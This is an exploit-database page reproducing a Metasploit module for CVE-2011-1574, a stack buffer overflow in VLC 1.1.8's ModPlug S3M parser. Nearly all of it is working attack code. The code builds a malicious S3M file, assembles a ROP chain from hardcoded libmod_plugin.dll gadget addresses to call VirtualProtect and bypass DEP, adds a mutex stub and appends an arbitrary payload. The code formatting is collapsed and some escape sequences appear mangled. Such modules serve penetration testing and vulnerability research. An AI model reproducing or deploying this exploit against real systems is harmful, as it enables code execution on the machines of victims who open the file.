[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow
# Published : 2011-04-08
# Author : metasploit
# Previous Title : ZyWALL USG Appliance Multiple Vulnerabilities
# Next Title : Magneto ICMP ActiveX v4.0.0.20 ICMPSendEchoRequest Remote Code Execute


			
### $Id: vlc_modplug_s3m.rb 12282 2011-04-08 15:48:53Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote	Rank = AverageRanking	include Msf::Exploit::FILEFORMAT	def initialize(info = {})		super(update_info(info,			'Name'           => 'VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow',			'Description'    => %q{					This module exploits an input validation error in libmod_plugin as				included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9				are affected. By creating a malicious S3M file, a remote attacker				could execute arbitrary code.				Although other products that bundle libmodplug may be vulnerable, this				module was only tested against VLC.				NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to				permanently enable NX support on machines that support it. As such,				this module is capable of bypassing DEP, but not ASLR.			},			'License'        => MSF_LICENSE,			'Author'         => [ 'jduck' ],			'Version'        => '$Revision: 12282 $',			'References'     =>				[					[ 'CVE', '2011-1574' ],					[ 'OSVDB', '72143' ],					#[ 'BID', 'xxx' ],					[ 'URL', 'http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug-xmms;a=commitdiff;h=aecef259828a89bb00c2e6f78e89de7363b2237b' ],					[ 'URL', 'http://hackipedia.org/File%20formats/Music/html/s3mformat.php' ],					[ 'URL', 'https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt' ],					[ 'URL', 'http://seclists.org/fulldisclosure/2011/Apr/113' ]				],			'Payload'        =>				{					'Space'		=> 512 - 0x24, # Space reserved for prepended mutex code					#'DisableNops'	=> true,				},			'Platform'       => 'win',			'Targets'        =>				[					[ 'VLC 1.1.8 on Windows XP SP3',						{							# vuln is in libmod_plugin.dll, rop is custom to this module						}					],				],			'Privileged'     => false,			'DisclosureDate' => 'Apr 07, 2011', # "found: 2011-03-09"			'DefaultTarget'  => 0))		register_options(			[				OptString.new('FILENAME', [ true, 'The file name.',  'msf.s3m']),			], self.class)	end	def exploit		num_orders = 0x14		num_instru = 0x15		num_patterns = 0x18		hdr = "/x00" * 0x1c # song name (none)		hdr << [			0x1a,   # static byte			0x10,   # ST3 module			0x00,   # padding			num_orders,			num_instru,			num_patterns,			0x00,   # Flags			0x1320, # Created with (which tracker)			0x02,   # File format information		].pack('CCvvvvvvv')		hdr << "SCRM"		hdr << [			0x40, # global volume			0x06, # initial speed			0x8a, # initial tempo			0xb0, # master volume			0x10, # ultra click removal			0xfb  # NOTE, non-0xfc value skips an additional loop!			# 0xfc == default channel pan positions present		].pack('CCCCCC')		hdr << "/x00" * 10  # includes pad and special pointer		# channel settings (for 32 channels)		hdr << "/x00/x08/x01/x09/x02/x0a/x03/x0b/x04/x0c/x05/x0d/x06/x0e/x07/x0f"		hdr << "/xff" * 16		# orders		hdr << "/x07/x08/x0c/x09/x0a/x0b/x0b/x0d/x0e/x0f/x0f/x0f/x10/x11/x12/x13"		hdr << "/x14/x16/x17/xff"		# parapointers to instruments		hdr << [ 0x0f ].pack('v') * num_instru		# parapoitners to patterns		hdr << [ 0x78 ].pack('v') * num_patterns		# channel default pan positions		hdr << "/x00" * 32		# instruments		instru = "/x01metasplo.ity"		rest = "/x00" * ((0x50 * num_instru) - instru.length)		# Build the rop stack		rvas = rvas_libmod_plugin_xpsp3()		rop = generate_rop(rvas)		zero_ptr = rva2addr(rvas, 'Scratch') + 4		mutex_addr = rva2addr(rvas, 'Scratch') + 8		imp_Sleep = rva2addr(rvas, 'imp_Sleep')		# A mutex to prevent double payloads		locking_code = <<-EOS	mov ebx, [ #{imp_Sleep} ]	jmp test_locksleep:	push 0xdeadbeef	call ebxtest_lock:	mov eax, [ #{mutex_addr} ]	test eax,eax	jnz sleep	lock cmpxchg [ #{mutex_addr} ], ebp	test eax,eax	jnz sleepEOS		rop << Metasm::Shellcode.assemble(Metasm::Ia32.new, locking_code).encode_string		rop << payload.encoded		# This becomes the new EIP (after return)		ret = rva2addr(rvas, 'pop eax / ret')		rest[1267, 4] = [ ret ].pack('V')		# In order to force return, we smash the this ptr on the stack and point		# it so that m_nChannels turns out to be 0.		rest[1271, 4] = [ zero_ptr - 0xe910 ].pack('V')		# Add the ROP stack and final payload here		rest[1275, rop.length] = rop		instru << rest		# patterns		patt = [ 0x10 ].pack('v')		patt << "/x00" * 0x10		# finalize the file		s3m = ""		s3m << hdr		instru_pad = (0x0f * 0x10) - hdr.length		s3m << "/x80" * instru_pad		s3m << instru		# patch in exploit trigger values		s3m[0x22, 2] = [ 0x220 ].pack('v')		s3m[0x24, 2] = [ 0x220 ].pack('v')		print_status("Creating '#{datastore['FILENAME']}' file ...")		file_create(s3m)	end	def rvas_libmod_plugin_xpsp3()		# libmod_plugin.dll from VLC 1.1.8 (Win32)		# Just return this hash		{			# Used as 'Ret' for target			'ret'                    => 0x1022,			'push eax / ret'         => 0x1cc4d,			'pop eax / ret'          => 0x598a2,			'mov eax, [eax+0x1c] / ret' => 0x542c9,			'pop ebx / pop ebp / ret' => 0x25e2f,			'add eax, 4 / pop ebp / ret' => 0x7028,			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret' => 0x23dad,			'sub eax, ebx / pop ebx / pop edi / pop ebp / ret' => 0x7d64,		}	end	def generate_rop(rvas)		# ROP fun! (XP SP3 English, Apr 10 2011)		rvas.merge!({			# Instructions / Name    => RVA			'BaseAddress'            => 0x653c0000,			'imp_VirtualProtect'     => 0xec2f0 - 0x1c,  # adjust for gadget used to resolve			'imp_Sleep'              => 0xec2dc,			'Scratch'                => 0x5fbfc,			'Data'                   => 0x60101,			#'DataAdjusted'           => 0x60000 - 0x58 + 0x8,			'DataAdjusted'           => 0x60000 - 0x58,		})		copy_stage = <<-EOS	nop	push esp	pop esi	lea edi, [eax+0x10]	push 0x7f	pop ecx	inc ecx	rep movsdEOS		copy_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, copy_stage).encode_string		if (copy_stage.length % 4) > 0			raise RuntimeError, "The copy stage is invalid"		end		rop_stack = [			# Resolve VirtualProtect			'pop eax / ret',			'imp_VirtualProtect',			'mov eax, [eax+0x1c] / ret',			# Call VirtuaProtect			'push eax / ret',			'pop eax / ret',   # after VirtualProtect			# Args to VirtualProtect			'Data',      # lpAddress (place holder, filled in @ runtime above)			0x1000,      # dwSize			0x40,        # flNewProtect			'Scratch',   # lpflOldProtect			# Load the pre-adjusted Data addr			'DataAdjusted', # matches pop eax / ret above			##			# Write our code little stager to our newly executable memory.			##			# Load the last 32-bits of code to write			'pop ebx / pop ebp / ret',			copy_stage[0, 4].unpack('V').first,			:unused, # ebp			# Write & advance			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',			copy_stage[4, 4].unpack('V').first,			:unused, # esi			:unused, # edi			:unused, # ebp			'add eax, 4 / pop ebp / ret',			:unused, # ebp			# Write & advance			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',			copy_stage[8, 4].unpack('V').first,			:unused, # esi			:unused, # edi			:unused, # ebp			'add eax, 4 / pop ebp / ret',			:unused, # ebp			# Write & advance			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',			0xffffffb0,  # adjustment value			:unused, # esi			:unused, # edi			:unused, # ebp			# Adjust eax			'sub eax, ebx / pop ebx / pop edi / pop ebp / ret',			:unused, # ebx			:unused, # edi			:unused, # ebp			# Execute the copy stage			'push eax / ret',		]		rop_stack.map! { |e|			if e.kind_of? String				# Meta-replace (RVA)				raise RuntimeError, "Unable to locate key: /"#{e}/"" if not rvas[e]				rvas['BaseAddress'] + rvas[e]			elsif e == :unused				# Randomize				rand_text(4).unpack('V').first			else				# Literal				e			end		}		rop_stack.pack('V*')	end	def rva2addr(rvas, key)		raise RuntimeError, "Unable to locate key: /"#{key}/"" if not rvas[key]		rvas['BaseAddress'] + rvas[key]	endend